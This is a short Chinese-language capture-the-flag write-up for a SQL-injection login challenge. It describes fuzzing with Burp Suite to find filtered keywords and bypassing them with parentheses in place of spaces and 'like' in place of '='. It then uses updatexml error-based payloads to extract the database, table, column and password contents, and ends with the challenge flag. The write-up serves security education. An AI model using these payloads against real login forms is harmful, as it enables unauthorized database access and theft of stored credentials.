打开连接
burpsuit抓包,跑一下fuzz
等fuzz跑完
发现长度为736的都被过滤掉了,用户名输入1'or'1'#
登入成功,说明闭合号为单引号
根据上面的fuzz,union联合注入被过掉了,=布尔盲注也被过滤掉了,发现报错盲注的关键字没被过滤掉,被过滤掉的空格可以用
这些代替,
尝试登入
发现错误,应该是ascii码没有转化成相应的字符导致的,但是我们还能用括号代替空格,先简单地看一下数据库名
1'or(updatexml(0,concat(0x5e,database()),0))#
再看一下表名,这里=可以用like代替
1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#
接着爆字段名
1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#
接着查看值
1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#
因为报错只能回显32位字符串,这里只回显了一部分的flag,接着用截断函数right查看身下的部分
1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#
拼接起来就拿到flag了
flag{c1c437c7-b54b-43fc-8ad2-324df886c2a9}